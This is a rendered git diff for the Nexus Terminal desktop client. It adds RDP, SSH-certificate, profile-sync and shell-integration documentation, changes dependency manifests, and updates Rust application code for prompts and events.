- Context menu with Copy, Paste, Select All, Find, Send Snippet, Port Forwards, Split Right, Split Down, Export Output, Clear and Reset. - Context menu with Copy, Paste, Select All, Find, Send Snippet, Port Forwards, Split Right, Split Down, Export Output, Clear and Reset.
- Export the whole scrollback as plain text. - Export the whole scrollback as plain text.
- Tabs and split panes are restored at the next launch: connections reconnect and local shells reopen in their last directory.
- Inline images in the iTerm2 format (`imgcat`, `wezterm imgcat`, `chafa -f iterm`…): PNG, JPEG and GIF, sized in cells, pixels or percent, scrolling with the text.
- Shell integration (OSC 133): jump between prompts, copy the last command's output, and see each command's exit status and duration beside its prompt.
- Status-bar latency for the active SSH session. - Status-bar latency for the active SSH session.
- Settings → Diagnostics summarises versions, paths, credential storage and sync status for bug reports; Settings → Security lists stored credentials per profile and changes the vault master password.
### SSH capabilities ### SSH capabilities
- SSH certificates: host certificates from trusted CAs (by OpenSSH host pattern) skip the first-use prompt; user certificates (`*-cert.pub`) are used for login.
- Import and export `~/.ssh/known_hosts`, including `@cert-authority` lines.
- Password, public key, keyboard-interactive and SSH agent authentication. - Password, public key, keyboard-interactive and SSH agent authentication.
- SSH agent forwarding. - SSH agent forwarding.
- Private key suggestions from `~/.ssh`, with a key file check. - Private key suggestions from `~/.ssh`, with a key file check.
@@ -140,6 +147,16 @@ Use Nexus Terminal when you need to:
- Clear hints for permission-denied and busy ports. - Clear hints for permission-denied and busy ports.
- Works with everything a terminal session supports: recording, triggers, broadcast, snippets, find and split panes. - Works with everything a terminal session supports: recording, triggers, broadcast, snippets, find and split panes.
### RDP capabilities
- Native RDP viewer (IronRDP) with Network Level Authentication (CredSSP/NTLM) and optional TLS-only logon for servers such as xrdp.
- Server certificate pinned by fingerprint in Known Hosts, checked before credentials are sent.
- Direct, SOCKS5, HTTP CONNECT, SSH-tunnelled or (experimental) RD Gateway connections.
- Scale-to-fit or 1:1, a fixed resolution or one that follows the tab (Display Control).
- Keyboard (scancodes for keys and shortcuts, Unicode for text), mouse and wheel; Ctrl+Alt+Del; text clipboard sharing in both directions.
- Password storage modes, domain logon, and Kerberos through a configured KDC.
- Remote audio playback, a printer whose jobs are saved as PostScript files, and a shared folder redirected as a drive (Linux and macOS), confined to that folder.
### VNC capabilities ### VNC capabilities
- Native VNC viewer inside the Nexus Terminal workspace (RFB 3.3–3.8; Raw, CopyRect, Hextile, ZRLE and Tight encodings). - Native VNC viewer inside the Nexus Terminal workspace (RFB 3.3–3.8; Raw, CopyRect, Hextile, ZRLE and Tight encodings).
@@ -153,6 +170,7 @@ Use Nexus Terminal when you need to:
### IRC capabilities ### IRC capabilities
- IRCv3 capability negotiation with SASL PLAIN login and server-time timestamps.
- Nick, real name, TLS and an optional server password. - Nick, real name, TLS and an optional server password.
- NickServ identification on connect. - NickServ identification on connect.
- Auto-join rooms. - Auto-join rooms.
@@ -217,7 +235,7 @@ Use Nexus Terminal when you need to:
- Secret store settings. - Secret store settings.
- Known hosts management. - Known hosts management.
- Help topics and troubleshooting inside Settings. - Help topics and troubleshooting inside Settings.
- A background update check at launch, and a manual check in Settings → About. - A background update check at launch (can be turned off in Settings → General), and a manual check in Settings → About.
## Website-ready summary ## Website-ready summary
@@ -227,7 +245,7 @@ Nexus Terminal: one native desktop workspace for SSH, files, sockets, serial con
### Suggested subheadline ### Suggested subheadline
Manage SSH, Telnet, RAW TCP, Serial, VNC, IRC, GitHub and local shell sessions from a fast tabbed interface with secure credentials, SFTP file transfer, split panes, snippets, recordings and automation built in. Manage SSH, Telnet, RAW TCP, Serial, VNC, RDP, IRC, GitHub and local shell sessions from a fast tabbed interface with secure credentials, SFTP file transfer, split panes, snippets, recordings and automation built in.
### Short product description ### Short product description
@@ -235,7 +253,7 @@ Nexus Terminal helps developers, operators, support engineers, network and hardw
### Product page feature bullets ### Product page feature bullets
- All-in-one connection workspace for SSH, Telnet, RAW TCP, Serial, VNC, IRC, GitHub and local shells. - All-in-one connection workspace for SSH, Telnet, RAW TCP, Serial, VNC, RDP, IRC, GitHub and local shells.
- Native and fast: no webview, with a terminal that stays responsive under heavy output. - Native and fast: no webview, with a terminal that stays responsive under heavy output.
- Multi-session interface with tabs, pinned sessions, split panes, reconnect and broadcast input. - Multi-session interface with tabs, pinned sessions, split panes, reconnect and broadcast input.
- Rich SSH support including agent auth and forwarding, TOTP, jump hosts, proxies, port forwarding, startup commands, login scripts and host key policies. - Rich SSH support including agent auth and forwarding, TOTP, jump hosts, proxies, port forwarding, startup commands, login scripts and host key policies.
+5 -5
View File
@@ -1,6 +1,6 @@
# Nexus Terminal Quick Start # Nexus Terminal Quick Start
Nexus Terminal is a native desktop client for SSH, Telnet, RAW TCP, Serial, VNC, IRC, GitHub and local terminal sessions. This page is a shareable quick start for everyday use. Nexus Terminal is a native desktop client for SSH, Telnet, RAW TCP, Serial, VNC, RDP, IRC, GitHub and local terminal sessions. This page is a shareable quick start for everyday use.
## Get connected in minutes ## Get connected in minutes
@@ -32,6 +32,10 @@ Create a **Serial** profile, pick the device from the list (click refresh after
Create a **VNC** profile for remote desktop sessions. Use the SSH tunnel option when possible, especially outside trusted networks. Direct VNC is available for isolated or trusted networks, but classic VNC traffic is not encrypted, so Nexus Terminal asks before connecting without a tunnel. Create a **VNC** profile for remote desktop sessions. Use the SSH tunnel option when possible, especially outside trusted networks. Direct VNC is available for isolated or trusted networks, but classic VNC traffic is not encrypted, so Nexus Terminal asks before connecting without a tunnel.
## RDP remote desktops
Create an **RDP** profile with the host, your username and, if needed, a domain. Windows servers use Network Level Authentication by default; for xrdp and other servers without it, tick **Allow servers without NLA**. The first connection shows the server certificate's fingerprint to trust. Use the **Proxy** or **SSH Tunnel** sections to reach desktops behind a jump host or proxy.
## File transfers on SSH ## File transfers on SSH
Click the **folder** icon on an SSH tab to open the SFTP browser. You can browse, upload, download, rename and delete files, create folders and bookmark locations. Click the **folder** icon on an SSH tab to open the SFTP browser. You can browse, upload, download, rename and delete files, create folders and bookmark locations.
@@ -55,10 +59,6 @@ The upload picker lists folders only and marks permissions:
- Each password, passphrase or token can be saved, remembered for the session only, or asked for every time. - Each password, passphrase or token can be saved, remembered for the session only, or asked for every time.
- SSH host key checks can be set per profile (Strict, Ask, Accept new, Insecure). - SSH host key checks can be set per profile (Strict, Ask, Accept new, Insecure).
## Coming from Alchementary Link
Your profiles, vault and recordings are copied across automatically on first run, and keychain entries are picked up the first time they are needed. Your old Alchementary Link data is left untouched.
## Common shortcuts ## Common shortcuts
| macOS Shortcut | Windows/Linux Shortcut | Action | | macOS Shortcut | Windows/Linux Shortcut | Action |
+70 -18
View File
@@ -16,7 +16,7 @@
12. Security and credentials 12. Security and credentials
13. Import and export 13. Import and export
14. Settings and updates 14. Settings and updates
15. Data locations and migration from Alchementary Link 15. Data locations
16. Troubleshooting 16. Troubleshooting
--- ---
@@ -162,11 +162,27 @@ The viewer's toolbar shows the connection state and desktop size, and has button
Use SSH tunnelling for VNC whenever possible. If a VNC profile has no tunnel, Nexus Terminal warns that the traffic is unencrypted and offers **Connect Anyway**, **Edit Profile** or **Cancel**. Use SSH tunnelling for VNC whenever possible. If a VNC profile has no tunnel, Nexus Terminal warns that the traffic is unencrypted and offers **Connect Anyway**, **Edit Profile** or **Cancel**.
### RDP
- **RDP**: domain (optional), password storage mode, **Certificate Policy** and **Allow servers without NLA**. The username, host and port (3389) are the profile's own.
- **Display**: **Scale to Fit**, a fixed **Width** and **Height** (0 × 0 fits the tab) and **Resize With Tab**.
- **RD Gateway** (experimental): reach the desktop through a Remote Desktop Gateway (`host` or `host:port`) with its own username and password. The gateway's certificate must be valid for its name (public CA); only gateways that accept Basic authentication over HTTPS work.
- **Proxy**: **SOCKS5** or **HTTP CONNECT**, with an optional username and password.
- **Devices**: **Play Remote Audio**; **Redirect Printer**, which adds a *Nexus Terminal* printer on the remote desktop whose jobs are saved as PostScript files in your Downloads folder (up to 256 MiB per job); and on Linux and macOS a **Shared Folder** that appears on the remote desktop as a drive named Nexus. The server can read and change everything in that folder and nothing outside it: paths that try to leave it (`..`, or symlinks pointing elsewhere) are refused.
- **SSH Tunnel**: carry RDP through SSH, as for VNC. Use either a proxy or a tunnel, not both.
Nexus Terminal logs on with Network Level Authentication (CredSSP), so your password is checked before a session is set up. It uses NTLM unless you set a **Kerberos KDC** (`host` or `host:port`), in which case it gets a Kerberos ticket from that KDC over TCP; the KDC must be reachable directly (not through the profile's proxy or tunnel). Use your Kerberos realm as the domain. Servers without NLA, such as xrdp, need **Allow servers without NLA**; the password is then passed to the server's own logon. Smart cards are not supported.
RDP servers usually present self-signed certificates, so the certificate is pinned like an SSH host key: its SHA-256 fingerprint is shown the first time and stored in **Known Hosts**, and a changed certificate offers Reject, Accept Once or Accept & Update. The check happens before any credentials are sent.
The viewer works like the VNC one: click the desktop to give it keyboard focus, **Ctrl+Alt+Del** sends the key combination, and text is shared through the clipboard both ways: text you copy on the remote desktop arrives on your clipboard (subject to the remote-clipboard setting), and your clipboard is offered to the remote desktop whenever you click into it, press Ctrl+V or use **Paste Clipboard**. Files and images are not shared. With **Resize With Tab**, the remote desktop follows the tab's size on servers that support it (Windows); otherwise the picture is scaled.
### IRC ### IRC
- **IRC**: nick, real name, **Use TLS** (port 6697 for most TLS networks) and an optional server password. - **IRC**: nick, real name, **Use TLS** (port 6697 for most TLS networks) and an optional server password.
- **SASL**: log in during registration with SASL PLAIN (account defaults to your nick), which most networks now expect; use TLS or an SSH tunnel so the password isn't sent in the clear. If the network doesn't offer SASL or rejects the login, the Server tab says so and the connection carries on.
- **NickServ**: identify on connect, with an optional account name and password. - **NickServ**: identify on connect, with an optional account name and password.
- **Rooms**: rooms to join automatically, one per line or comma-separated. - **Rooms**: rooms to join automatically, one per line or comma-separated. Networks that support IRCv3 server-time stamp messages with the time they were sent, so replayed history shows its real times.
- **SSH Tunnel** and **Reconnection** settings. - **SSH Tunnel** and **Reconnection** settings.
The IRC view has a **Server** tab and a tab per room or conversation, with a dot on tabs that have unread messages. Type messages or `/commands` in the composer (`/join`, `/part`, `/msg`, `/me`, `/notice`, `/nick`, `/topic`, `/list`, `/names`, `/whois`, `/who`, `/raw`, `/quit`, `/help`). Press **Tab** to complete a nick, or click a nick to mention it. The side panel lists joined rooms, a room browser with a filter (click a room to join it), and the users in the current room. The IRC view has a **Server** tab and a tab per room or conversation, with a dot on tabs that have unread messages. Type messages or `/commands` in the composer (`/join`, `/part`, `/msg`, `/me`, `/notice`, `/nick`, `/topic`, `/list`, `/names`, `/whois`, `/who`, `/raw`, `/quit`, `/help`). Press **Tab** to complete a nick, or click a nick to mention it. The side panel lists joined rooms, a room browser with a filter (click a room to join it), and the users in the current room.
@@ -203,12 +219,42 @@ A new pane offers **Local Machine** and your terminal profiles (SSH, Telnet and
## 6. Terminal actions and search ## 6. Terminal actions and search
### Inline images
Programs that print images in the iTerm2 format (`imgcat`, `wezterm imgcat`, `chafa -f iterm`) show PNG, JPEG and GIF (first frame) images inline, sized as the program asks and never wider than the terminal; the text continues below the image. Images scroll with the text and are dropped with the scrollback. Very large images (over 8192 pixels a side) are ignored, and each terminal keeps at most 32 megapixels of images, dropping the oldest. Sixel and kitty graphics aren't supported.
### Shell integration
When the shell marks its prompts and commands (the OSC 133 sequences), Nexus Terminal knows where each command starts and ends:
- **Ctrl+Shift+Up / Ctrl+Shift+Down** (**Cmd+Shift** on macOS), or **Previous Prompt** / **Next Prompt** in the right-click menu, jump between prompts in the scrollback.
- **Copy Last Command Output** in the right-click menu copies what the last finished command printed.
- A thin bar beside each finished command's prompt shows how it ended: green for success, red for a non-zero exit. Hover it for the exit code and how long the command took.
fish 4 and several prompt themes (Starship, Powerlevel10k with its shell integration option) send the marks already. For bash, add this to `~/.bashrc` on the machine the shell runs on:
```bash
PS0='\[\e]133;C\a\]'
PROMPT_COMMAND='printf "\033]133;D;%s\007" "$?"; '"${PROMPT_COMMAND}"
PS1='\[\e]133;A\a\]'"$PS1"'\[\e]133;B\a\]'
```
For zsh, add to `~/.zshrc`:
```zsh
precmd() { print -Pn "\e]133;D;$?\a\e]133;A\a" }
preexec() { print -n "\e]133;C\a" }
PS1="$PS1%{\e]133;B\a%}"
```
Shells that also report their working directory (OSC 7; fish, and zsh/bash with the usual `printf '\e]7;file://%s%s\a' "$HOSTNAME" "$PWD"` hook) let **SFTP Browser** open in that directory.
### Keyboard and mouse ### Keyboard and mouse
- **Copy**: select text and press **Cmd+C** / **Ctrl+C**. With nothing selected, **Ctrl+C** sends an interrupt as usual. - **Copy**: select text and press **Cmd+C** / **Ctrl+C**. With nothing selected, **Ctrl+C** sends an interrupt as usual.
- **Paste**: **Cmd+V** / **Ctrl+V**. Pastes are bracketed when the remote application asks for it. - **Paste**: **Cmd+V** / **Ctrl+V**. Pastes are bracketed when the remote application asks for it.
- **Select**: drag to select, double-click for a word, triple-click for a line, Shift-click to extend. - **Select**: drag to select, double-click for a word, triple-click for a line, Shift-click to extend.
- **Links**: hold **Cmd** / **Ctrl** and click a web link to open it in your browser. - **Links**: hold **Cmd** / **Ctrl** and click a web link to open it in your browser. Programs can also print real hyperlinks (OSC 8, as `ls --hyperlink` and many build tools do); these have a dotted underline, and hovering one shows where it really points. Only http(s) links are opened.
- **Scroll**: the mouse wheel, or **Shift+PageUp**, **Shift+PageDown**, **Shift+Home** and **Shift+End**. On the alternate screen (for example in `tmux`, `screen`, `byobu` or `less`) the wheel sends arrow keys instead. - **Scroll**: the mouse wheel, or **Shift+PageUp**, **Shift+PageDown**, **Shift+Home** and **Shift+End**. On the alternate screen (for example in `tmux`, `screen`, `byobu` or `less`) the wheel sends arrow keys instead.
- Applications that use the mouse (such as `htop`, `vim` or `tmux` with mouse mode) receive mouse clicks and the wheel directly. - Applications that use the mouse (such as `htop`, `vim` or `tmux` with mouse mode) receive mouse clicks and the wheel directly.
@@ -360,6 +406,10 @@ Choose one of the following policies per SSH profile:
- **Accept new, reject changed**: trust first-time keys automatically. - **Accept new, reject changed**: trust first-time keys automatically.
- **Insecure (accept anything)**: accept any key (not recommended). - **Insecure (accept anything)**: accept any key (not recommended).
**Settings → Known Hosts** can **Import ~/.ssh/known_hosts** (hashed host names can't be read back and are skipped) and **Export…** the list in OpenSSH format, so Nexus Terminal and `ssh` can share what they trust.
**SSH certificates.** **Trust a CA…** adds a certificate authority for a host pattern in OpenSSH syntax (`*.example.com`, `[host]:2222`, `!excluded.example.com`; `@cert-authority` lines in an imported known_hosts work too). Servers covered by a trusted CA are asked for their host certificate, and a certificate that the CA signed, that names the host and that is in date is trusted without a first-use prompt; any other certificate is refused. For logging in, a user certificate next to your key (`id_ed25519-cert.pub` beside `id_ed25519`) is used automatically.
Under every policy except Insecure, a key that differs from the saved one is rejected. Nexus Terminal keeps its own known-hosts list and does not read `~/.ssh/known_hosts`. Review and remove entries in **Settings → Known Hosts**; click a fingerprint to copy it. Under every policy except Insecure, a key that differs from the saved one is rejected. Nexus Terminal keeps its own known-hosts list and does not read `~/.ssh/known_hosts`. Review and remove entries in **Settings → Known Hosts**; click a fingerprint to copy it.
### TOTP / 2FA ### TOTP / 2FA
@@ -378,9 +428,18 @@ Connections, disconnections, profile changes, credential access, imports and exp
## 13. Import and export ## 13. Import and export
### Profile sync
**Settings → Security → Profile sync** keeps connection profiles the same on several machines. Choose a folder all of them can reach (a Dropbox, iCloud Drive, OneDrive or Nextcloud folder, a network share, or a git checkout you commit), and set the same **sync password** on each. Nexus Terminal keeps one encrypted file there, `nexus-profiles.nexus` (Argon2id + AES-256-GCM, like an encrypted export), and merges it at launch, a few seconds after you change a profile, every ten minutes and when you click **Sync Now**:
- for a profile changed on both sides, the more recent change wins;
- a profile deleted on one machine is deleted on the others (unless it was edited after the deletion);
- passwords, keys and other credentials are never synced; each machine keeps its own in its keychain or vault.
- **Encrypted export**: **File → Export profiles…**, the sidebar footer, the command palette, or **Export…** on a profile's right-click menu. Choose the profiles, set a password and save a `.nexus` file. Credentials saved in the keychain or vault are not included. - **Encrypted export**: **File → Export profiles…**, the sidebar footer, the command palette, or **Export…** on a profile's right-click menu. Choose the profiles, set a password and save a `.nexus` file. Credentials saved in the keychain or vault are not included.
- **Encrypted import**: **File → Import profiles…** or the sidebar footer. Choose a `.nexus` file (or a `.link` file from Alchementary Link), enter its password, and choose what happens when a profile already exists: **Skip existing**, **Overwrite existing** or **Create duplicates**. - **Encrypted import**: **File → Import profiles…** or the sidebar footer. Choose a `.nexus` file, enter its password, and choose what happens when a profile already exists: **Skip existing**, **Overwrite existing** or **Create duplicates**.
- **JSON export and import**: **Export Profiles (JSON)** and **Import Profiles (JSON)** in the command palette. JSON export includes every profile; tick **Include secrets** to keep inline proxy passwords and TOTP secrets, which are otherwise removed. - **JSON export and import**: **Export Profiles (JSON)** and **Import Profiles (JSON)** in the command palette. JSON export includes every profile; passwords in login-script `send` steps that answer a password prompt are blanked unless you tick **Include secrets**. Proxy passwords and TOTP secrets live in the keychain or vault, never in the profile, so no export carries them.
- **OpenSSH config**: **File → Import ~/.ssh/config** or **Settings → About → Import ~/.ssh/config** creates profiles from your `Host` blocks, including hostnames, usernames, ports, identity files and jump hosts. - **OpenSSH config**: **File → Import ~/.ssh/config** or **Settings → About → Import ~/.ssh/config** creates profiles from your `Host` blocks, including hostnames, usernames, ports, identity files and jump hosts.
--- ---
@@ -389,10 +448,11 @@ Connections, disconnections, profile changes, credential access, imports and exp
Open settings with **Cmd+,** (macOS) or **Ctrl+,** (Windows/Linux), the sidebar footer, or **File → Settings**. Click **Save** to apply changes. Open settings with **Cmd+,** (macOS) or **Ctrl+,** (Windows/Linux), the sidebar footer, or **File → Settings**. Click **Save** to apply changes.
- **General**: app theme (Pro, Midnight or Light), default protocol, confirm on close, confirm on disconnect, status bar, sidebar width, and local shell (leave empty for the system default; **Browse…** to pick one). - **General**: app theme (Pro, Midnight or Light), default protocol, restore tabs at launch (reopens the last session's tabs and split panes: saved connections reconnect, local shells start in the directory they were in; Quick Connect tabs aren't restored), confirm on close, confirm on disconnect, remote clipboard writes (OSC 52 and VNC; a toast shows what was copied), multi-line paste confirmation, the launch-time update check, status bar, sidebar width, and local shell (leave empty for the system default; **Browse…** to pick one).
- **Terminal**: colour scheme, font family, font size, scrollback lines and cursor style. These are the defaults for new profiles; profiles can override them. - **Terminal**: colour scheme, font family, font size, scrollback lines and cursor style. These are the defaults for new profiles; profiles can override them.
- **Security**: keychain and vault status; initialise, unlock or lock the secret store. - **Security**: keychain and vault status; initialise, unlock or lock the secret store; **Change Master Password…** (re-encrypts every saved credential under the new password in one step); **Stored credentials**, listing each profile's saved passwords, passphrases and tokens and whether they're in the keychain or the vault, with **Forget**; and profile sync.
- **Known Hosts**: saved host keys with first-seen and last-seen times, and **Remove**. - **Known Hosts**: saved host keys with first-seen and last-seen times, and **Remove**; import/export `~/.ssh/known_hosts` and trusted SSH certificate authorities.
- **Diagnostics**: version, platform, data, database and log locations, keychain and vault state, counts and sync status, with **Copy Diagnostics** for bug reports (no credentials are included).
- **Help**: built-in help topics, including connection types, shortcuts and troubleshooting. - **Help**: built-in help topics, including connection types, shortcuts and troubleshooting.
- **About**: version, **Check for Updates**, and **Import ~/.ssh/config**. - **About**: version, **Check for Updates**, and **Import ~/.ssh/config**.
@@ -404,7 +464,7 @@ Nexus Terminal checks for a new version once at launch. When one is available, t
--- ---
## 15. Data locations and migration from Alchementary Link ## 15. Data locations
### Data locations ### Data locations
@@ -421,18 +481,10 @@ The directory holds:
- `recordings/` — session recordings - `recordings/` — session recordings
- `triggers.json` — trigger rules - `triggers.json` — trigger rules
- `sftp-bookmarks.json` — SFTP bookmarks - `sftp-bookmarks.json` — SFTP bookmarks
- `nexus.log` — the diagnostic log (owner-only, rotated to `nexus.log.1` at 5 MiB): connections, reconnects, host-key and certificate checks and errors. Credentials and terminal contents are never logged. Set `RUST_LOG` (for example `RUST_LOG=debug`) for more detail; it then also goes to the terminal you started Nexus Terminal from.
Credentials saved in the OS keychain are stored under the service name `NexusTerminal`. Credentials saved in the OS keychain are stored under the service name `NexusTerminal`.
### Migrating from Alchementary Link
On first run, if Nexus Terminal has no database yet and an Alchementary Link data directory (`AlchementaryLink`, in the same parent folder) exists, Nexus Terminal **copies** `link.db` to `nexus.db`, along with the `vault/` and `recordings/` directories, and shows a toast saying where the data came from. The Alchementary Link directory is left untouched.
- If a `NexusTerminal/nexus.db` already exists (for example from a version before the Alchementary Link rebrand), it is used as-is and nothing is copied.
- Keychain entries saved under `AlchementaryLink` are found the first time they are needed and copied to `NexusTerminal`. The old entries are not deleted.
- Your vault master password is unchanged.
- Trigger rules and SFTP bookmarks from Alchementary Link are not migrated; recreate them in Nexus Terminal.
--- ---
## 16. Troubleshooting ## 16. Troubleshooting
+9
View File
@@ -0,0 +1,9 @@
# cargo audit configuration (CI runs `cargo audit` from rust/).
[advisories]
ignore = [
# 2026-10-12: rsa Marvin timing side channel, pulled in by russh's `rsa` feature. No fixed
# release exists. The client signs once per user-initiated connection, so collecting enough
# timings is impractical; Ed25519 is the default for generated keys. Re-check when rsa ships a
# constant-time release (SEC-20261012-012).
"RUSTSEC-2023-0071",
]
+1825 -24
View File
File diff suppressed because it is too large Load Diff
+9 -1
View File
@@ -1,9 +1,10 @@
[workspace] [workspace]
resolver = "3" resolver = "3"
members = ["core", "app"] members = ["core", "app"]
exclude = ["fuzz"]
[workspace.package] [workspace.package]
version = "0.1.0" version = "3.0.1"
edition = "2024" edition = "2024"
[profile.dev.package."*"] [profile.dev.package."*"]
@@ -15,3 +16,10 @@ opt-level = 2
[profile.release] [profile.release]
lto = "thin" lto = "thin"
# IronRDP compatibility patches; see vendor/README.md for what each changes and when to drop it.
[patch.crates-io]
picky = { path = "vendor/picky" }
sspi = { path = "vendor/sspi" }
ironrdp-session = { path = "vendor/ironrdp-session" }
ironrdp-mstsgu = { path = "vendor/ironrdp-mstsgu" }
+9 -1
View File
@@ -12,9 +12,14 @@ path = "src/main.rs"
nexus-core = { path = "../core" } nexus-core = { path = "../core" }
eframe = { version = "0.36", default-features = false, features = ["default_fonts", "glow", "wayland", "x11", "accesskit", "persistence"] } eframe = { version = "0.36", default-features = false, features = ["default_fonts", "glow", "wayland", "x11", "accesskit", "persistence"] }
egui = "0.36" egui = "0.36"
parking_lot = "0.12"
zeroize = "1"
tracing = "0.1"
tracing-subscriber = { version = "0.3", default-features = false, features = ["fmt", "env-filter", "std", "ansi"] }
egui-phosphor = "0.14" egui-phosphor = "0.14"
rfd = "0.17" rfd = "0.17"
image = { version = "0.25", default-features = false, features = ["png"] } image = { version = "0.25", default-features = false, features = ["png", "gif"] }
base64 = "0.22"
serde = { version = "1", features = ["derive"] } serde = { version = "1", features = ["derive"] }
serde_json = "1" serde_json = "1"
regex = "1" regex = "1"
@@ -24,3 +29,6 @@ arboard = "3.6.1"
[build-dependencies] [build-dependencies]
winresource = "0.1" winresource = "0.1"
[target.'cfg(unix)'.dependencies]
libc = "0.2"
+146 -27
View File
@@ -10,10 +10,11 @@ use crate::{chrome, forwards, profile_editor, quick_connect, recordings, setting
use egui::{Key, KeyboardShortcut, Modifiers, Ui}; use egui::{Key, KeyboardShortcut, Modifiers, Ui};
use nexus_core::models::{Profile, Protocol, SessionInfo, SessionState}; use nexus_core::models::{Profile, Protocol, SessionInfo, SessionState};
use nexus_core::service::Service; use nexus_core::service::Service;
use nexus_core::sessions::Event; use nexus_core::sessions::{Event, HostKeyDecision};
use parking_lot::Mutex;
use std::collections::VecDeque; use std::collections::VecDeque;
use std::path::PathBuf; use std::path::PathBuf;
use std::sync::{Arc, Mutex, mpsc}; use std::sync::{Arc, mpsc};
pub struct Options { pub struct Options {
pub screenshot: Option<PathBuf>, pub screenshot: Option<PathBuf>,
@@ -37,13 +38,33 @@ pub struct Options {
static POSTED: Mutex<Vec<String>> = Mutex::new(Vec::new()); static POSTED: Mutex<Vec<String>> = Mutex::new(Vec::new());
pub fn post_error(e: String) { pub fn post_error(e: String) {
POSTED.lock().unwrap().push(e); POSTED.lock().push(e);
}
/// For the panic hook: the panicking thread may already hold the lock.
pub fn post_error_nonblocking(e: String) {
if let Some(mut p) = POSTED.try_lock() {
p.push(e);
}
} }
/// A credential or host-key question from a connecting session. /// A credential or host-key question from a connecting session.
pub enum Prompt { pub enum Prompt {
Secret { session: String, title: String, message: String, value: String, reply: mpsc::Sender<String> }, /// `value` is wiped when the prompt is dropped (answered, cancelled or abandoned).
HostKey { host: String, key_type: String, fingerprint: String, reply: mpsc::Sender<bool> }, Secret {
session: String,
title: String,
message: String,
value: zeroize::Zeroizing<String>,
reply: mpsc::Sender<String>,
},
HostKey {
host: String,
key_type: String,
fingerprint: String,
stored: Option<String>,
reply: mpsc::Sender<HostKeyDecision>,
},
} }
/// Modal dialogs owned by the main window. /// Modal dialogs owned by the main window.
@@ -70,6 +91,11 @@ pub enum Dialog {
Broadcast { Broadcast {
picks: Vec<(String, String, bool)>, picks: Vec<(String, String, bool)>,
}, },
/// Multi-line paste into a terminal without bracketed paste.
ConfirmPaste {
session: String,
text: String,
},
/// Guided help for an auth or host-key failure. /// Guided help for an auth or host-key failure.
Guided { Guided {
session: String, session: String,
@@ -95,6 +121,13 @@ pub enum InputThen {
pub struct App { pub struct App {
pub s: Shared, pub s: Shared,
/// The tab layout as last saved for restoring (see restore.rs), and when it was last checked.
pub saved_layout: Option<String>,
layout_checked: f64,
/// A profile sync in flight; when the next automatic one is due; whether it was asked for.
sync_job: Option<crate::settings::Job<Result<nexus_core::service::SyncReport, String>>>,
sync_due: f64,
sync_manual: bool,
rx: mpsc::Receiver<Event>, rx: mpsc::Receiver<Event>,
pub theme: ThemeKind, pub theme: ThemeKind,
pub editor: profile_editor::ProfileEditor, pub editor: profile_editor::ProfileEditor,
@@ -136,7 +169,7 @@ impl App {
let ctx = cc.egui_ctx.clone(); let ctx = cc.egui_ctx.clone();
let tx = Mutex::new(tx); let tx = Mutex::new(tx);
svc.sessions.set_sink(Arc::new(move |e| { svc.sessions.set_sink(Arc::new(move |e| {
let _ = tx.lock().unwrap().send(e); let _ = tx.lock().send(e);
ctx.request_repaint(); ctx.request_repaint();
})); }));
let s = Shared::new(svc.clone(), cc.egui_ctx.clone()); let s = Shared::new(svc.clone(), cc.egui_ctx.clone());
@@ -169,7 +202,16 @@ impl App {
answers: opts.answers, answers: opts.answers,
run_local: opts.run_local.map(|c| (c, None)), run_local: opts.run_local.map(|c| (c, None)),
resize_sidebar: false, resize_sidebar: false,
saved_layout: None,
layout_checked: 0.0,
sync_job: None,
sync_due: 0.0,
sync_manual: false,
}; };
let restore = opts.connect.is_empty() && app.run_local.is_none() && opts.open.is_none() && app.s.prefs.restore_sessions;
if restore {
crate::restore::restore(&mut app);
}
for c in &opts.connect { for c in &opts.connect {
match app.s.profiles.iter().find(|p| &p.id == c || &p.display_name == c).map(|p| p.id.clone()) { match app.s.profiles.iter().find(|p| &p.id == c || &p.display_name == c).map(|p| p.id.clone()) {
Some(id) => app.connect_profile(&id, true), Some(id) => app.connect_profile(&id, true),
@@ -184,11 +226,8 @@ impl App {
*sid = Some(id.clone()); *sid = Some(id.clone());
app.add_session(&id, true); app.add_session(&id, true);
} }
if let Some(from) = &svc.config.migrated_from {
app.s.success(format!("Imported your Alchementary Link data from {}", from.display()));
}
// Background update check, once per launch. // Background update check, once per launch.
if app.screenshot.is_none() { if app.screenshot.is_none() && app.s.prefs.check_for_updates {
let svc2 = svc.clone(); let svc2 = svc.clone();
let ctx = cc.egui_ctx.clone(); let ctx = cc.egui_ctx.clone();
std::thread::spawn(move || { std::thread::spawn(move || {
@@ -213,6 +252,7 @@ impl App {
"terminal" => SettingsTab::Terminal, "terminal" => SettingsTab::Terminal,
"security" => SettingsTab::Security, "security" => SettingsTab::Security,
"knownhosts" => SettingsTab::KnownHosts, "knownhosts" => SettingsTab::KnownHosts,
"diagnostics" => SettingsTab::Diagnostics,
"help" => SettingsTab::Help, "help" => SettingsTab::Help,
"about" => SettingsTab::About, "about" => SettingsTab::About,
_ => SettingsTab::General, _ => SettingsTab::General,
@@ -236,7 +276,7 @@ impl App {
(Protocol::Raw, Some(p)) => View::Raw(Box::new(crate::raw_view::RawView::new(&info.id, p))), (Protocol::Raw, Some(p)) => View::Raw(Box::new(crate::raw_view::RawView::new(&info.id, p))),
(Protocol::Irc, Some(p)) => View::Irc(Box::new(crate::irc_view::IrcView::new(&info.id, p))), (Protocol::Irc, Some(p)) => View::Irc(Box::new(crate::irc_view::IrcView::new(&info.id, p))),
(Protocol::Github, Some(p)) => View::Github(Box::new(crate::github_view::GithubView::new(&info.id, &p.display_name))), (Protocol::Github, Some(p)) => View::Github(Box::new(crate::github_view::GithubView::new(&info.id, &p.display_name))),
(Protocol::Vnc, Some(p)) => View::Vnc(Box::new(crate::vnc_view::VncView::new(&info.id, p))), (Protocol::Vnc | Protocol::Rdp, Some(p)) => View::Desktop(Box::new(crate::desktop_view::DesktopView::new(&info.id, p))),
(_, p) => { (_, p) => {
let (scroll, size, cursor) = match p { let (scroll, size, cursor) = match p {
Some(p) => (p.terminal_scrollback, p.terminal_font_size, p.terminal_cursor_style.clone()), Some(p) => (p.terminal_scrollback, p.terminal_font_size, p.terminal_cursor_style.clone()),
@@ -400,7 +440,7 @@ impl App {
// --- events --------------------------------------------------------------------------- // --- events ---------------------------------------------------------------------------
fn drain_events(&mut self) { fn drain_events(&mut self) {
for e in POSTED.lock().unwrap().drain(..) { for e in POSTED.lock().drain(..) {
self.s.error(e); self.s.error(e);
} }
while let Ok(e) = self.rx.try_recv() { while let Ok(e) = self.rx.try_recv() {
@@ -461,6 +501,8 @@ impl App {
v.on_error(error); v.on_error(error);
} }
} }
Event::Warning { message, .. } => self.s.error(message),
Event::Info { message, .. } => self.s.success(message),
